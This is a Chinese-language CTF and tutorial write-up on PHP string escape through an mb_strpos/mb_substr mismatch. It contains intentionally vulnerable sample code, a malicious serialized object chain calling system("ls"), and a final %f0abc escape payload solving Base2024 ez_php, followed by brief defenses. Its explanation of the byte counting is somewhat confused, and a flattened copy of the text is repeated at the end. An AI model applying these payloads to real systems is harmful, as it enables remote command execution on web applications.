由mb_strpos和mb_substr组合引发的字符逃逸
字数 1477 2025-11-26 12:31:31

字符编码处理漏洞:mb_strpos与mb_substr组合引发的字符逃逸

漏洞原理分析

1. 漏洞代码示例

<?php
highlight_file(__FILE__);
error_reporting(0);

function substrstr($data)
{
    $start = mb_strpos($data, "[");
    echo $start.'<br>';
    $end = mb_strpos($data, "]");
    echo $end.'<br>';
    return mb_substr($data, $start + 1, $end - 1 - $start);
} 

$key = substrstr($_GET[0]."[welcome".$_GET[1]."world");
echo $key;

2. 函数功能解析

该代码定义了一个自定义函数substrstr(),其内部逻辑如下:

  1. 定位边界字符

    • 使用mb_strpos($data, "[")查找左中括号[的位置索引
    • 使用mb_strpos($data, "]")查找右中括号]的位置索引
  2. 字符串截取

    • 使用mb_substr($data, $start + 1, $end - 1 - $start)截取两个边界字符之间的内容
  3. 参数拼接

    • 输入参数通过$_GET[0]."[welcome".$_GET[1]."world"方式拼接
    • 最终形成完整的字符串进行处理

字符编码差异导致的漏洞

核心问题:多字节字符处理不一致性

mb_strposmb_substr函数在处理多字节字符时存在计算差异:

  • mb_strpos:按照实际字节数计算位置
  • mb_substr:按照字符数计算位置

3. 漏洞触发机制

情况一:使用%9f字符

测试输入

  • 参数0:%9f
  • 参数1:1

处理过程

  1. 拼接后的字符串:%9f[welcome1world
  2. mb_strpos%9f识别为1个字节,找到[的位置索引为1
  3. mb_substr%9f识别为1个字符,从位置2开始截取
  4. 实际截取结果:welcome1wor

关键发现

  • %9f导致字符串索引计算出现偏差
  • mb_strposmb_substr对同一字符的字节计数不一致

情况二:使用%f0字符

测试输入

  • 参数0:%f0
  • 参数1:1

处理过程

  1. 拼接后的字符串:%f0[welcome1world
  2. mb_strpos%f0识别为多个字节(具体取决于编码)
  3. 产生更大的位置偏移,吃掉更多字符

4. 字节差异计算规则

通过实验得出以下规律:

输入字符组合 mb_strpos计数字节数 mb_substr计数字符数 相差字节数
%f0abc 4字节 1字符 3字节
%f0%9fab 3字节 1字符 2字节
%f0%9f%9fa 2字节 1字符 1字节

5. 实际漏洞利用案例

Base2024 ez_php题目分析

漏洞利用场景

// 题目关键代码
$pre = $_GET['substr'];
$ctf = unserialize($_POST['ctf']);
echo $pre."[".serialize($ctf)."]";

利用步骤

  1. 构造恶意序列化数据
O:6:"Hacker":3:{s:5:"start";s:216:"{{{'a:2:{i:1;O:6:"Hacker":3:{s:5:"start";O:1:"C":1:{s:1:"c";O:1:"T":1:{s:1:"t";O:1:"F":1:{s:1:"f";O:1:"E":1:{s:1:"e";O:1:"R":1:{s:1:"r";s:13:"system("ls");";}}}}}s:3:"end";s:6:"hacker";s:8:"username";R:9;}i:2;N;}'}}}";s:3:"end";N;s:8:"username";s:6:"hacker";}
  1. 计算需要吃掉的字符数:需要绕过38个字符

  2. 构造payload

  • 使用12个%f0abc:每个吃掉3字节 × 12 = 36字节
  • 使用1个%f0%9fab:吃掉2字节
  • 总计:36 + 2 = 38字节

最终payload

%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0%9fab

6. 防御措施

  1. 统一字符处理函数:确保在同一应用中使用一致的字符处理函数
  2. 输入验证:对用户输入进行严格的字符编码验证
  3. 长度检查:在处理前后进行字符串长度一致性验证
  4. 编码声明:明确指定字符编码格式,避免自动检测带来的不确定性

7. 总结

该漏洞的核心在于多字节字符处理函数之间的不一致性,攻击者通过精心构造的多字节字符,利用mb_strposmb_substr对字符计数方式的差异,实现字符逃逸和边界绕过。在实际渗透测试中,这种漏洞常出现在字符串处理、序列化数据解析等场景中。

字符编码处理漏洞:mb_ strpos与mb_ substr组合引发的字符逃逸 漏洞原理分析 1. 漏洞代码示例 2. 函数功能解析 该代码定义了一个自定义函数 substrstr() ,其内部逻辑如下: 定位边界字符 : 使用 mb_strpos($data, "[") 查找左中括号 [ 的位置索引 使用 mb_strpos($data, "]") 查找右中括号 ] 的位置索引 字符串截取 : 使用 mb_substr($data, $start + 1, $end - 1 - $start) 截取两个边界字符之间的内容 参数拼接 : 输入参数通过 $_GET[0]."[welcome".$_GET[1]."world" 方式拼接 最终形成完整的字符串进行处理 字符编码差异导致的漏洞 核心问题:多字节字符处理不一致性 mb_strpos 和 mb_substr 函数在处理多字节字符时存在计算差异: mb_ strpos :按照实际字节数计算位置 mb_ substr :按照字符数计算位置 3. 漏洞触发机制 情况一:使用 %9f 字符 测试输入 : 参数0: %9f 参数1: 1 处理过程 : 拼接后的字符串: %9f[welcome1world mb_strpos 将 %9f 识别为1个字节,找到 [ 的位置索引为1 mb_substr 将 %9f 识别为1个字符,从位置2开始截取 实际截取结果: welcome1wor 关键发现 : %9f 导致字符串索引计算出现偏差 mb_strpos 和 mb_substr 对同一字符的字节计数不一致 情况二:使用 %f0 字符 测试输入 : 参数0: %f0 参数1: 1 处理过程 : 拼接后的字符串: %f0[welcome1world mb_strpos 将 %f0 识别为多个字节(具体取决于编码) 产生更大的位置偏移,吃掉更多字符 4. 字节差异计算规则 通过实验得出以下规律: | 输入字符组合 | mb_ strpos计数字节数 | mb_ substr计数字符数 | 相差字节数 | |-------------|-------------------|-------------------|-----------| | %f0abc | 4字节 | 1字符 | 3字节 | | %f0%9fab | 3字节 | 1字符 | 2字节 | | %f0%9f%9fa | 2字节 | 1字符 | 1字节 | 5. 实际漏洞利用案例 Base2024 ez_ php题目分析 漏洞利用场景 : 利用步骤 : 构造恶意序列化数据 : 计算需要吃掉的字符数 :需要绕过38个字符 构造payload : 使用12个 %f0abc :每个吃掉3字节 × 12 = 36字节 使用1个 %f0%9fab :吃掉2字节 总计:36 + 2 = 38字节 最终payload : 6. 防御措施 统一字符处理函数 :确保在同一应用中使用一致的字符处理函数 输入验证 :对用户输入进行严格的字符编码验证 长度检查 :在处理前后进行字符串长度一致性验证 编码声明 :明确指定字符编码格式,避免自动检测带来的不确定性 7. 总结 该漏洞的核心在于多字节字符处理函数之间的不一致性,攻击者通过精心构造的多字节字符,利用 mb_strpos 和 mb_substr 对字符计数方式的差异,实现字符逃逸和边界绕过。在实际渗透测试中,这种漏洞常出现在字符串处理、序列化数据解析等场景中。